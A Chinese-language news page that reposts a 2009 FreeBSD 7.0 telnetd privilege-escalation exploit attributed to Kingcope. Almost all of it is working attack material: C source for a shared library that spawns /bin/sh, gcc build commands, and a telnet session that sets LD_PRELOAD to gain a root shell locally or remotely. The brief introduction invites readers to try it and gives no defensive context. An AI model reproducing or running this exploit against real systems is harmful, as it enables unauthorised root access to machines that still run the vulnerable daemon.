新聞中心
沒想到現(xiàn)在有人會(huì)研究,看到后驚嘆了一下。是telnetd部分的問題,在FreeBSD7.0正式版測(cè)試通過,7.1似乎也有同樣問題,但未經(jīng)過測(cè)試。有興趣的朋友可以調(diào)試一下,代碼如下:

# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009
#include
#include
#include
#include
void _init() {
FILE *f;
setenv("LD_PRELOAD", "", 1);
system("echo ALEX-ALEX;/bin/sh");
}
---snip-----
Then we compile this stuff.
---snip-----
#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
---snip-----
Then we copy the file to a known location (local root exploit)
---snip-----
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
---snip-----
...or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.
---snip-----
#telnet
/>auth disable SRA
/>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
/>open target
---snip-----
ALEX-ALEX
#ROOTSHELL
分享標(biāo)題:FreeBSD爆0day遠(yuǎn)程能溢出本地可提權(quán)
文章位置:http://m.fisionsoft.com.cn/article/djohgee.html


咨詢
建站咨詢
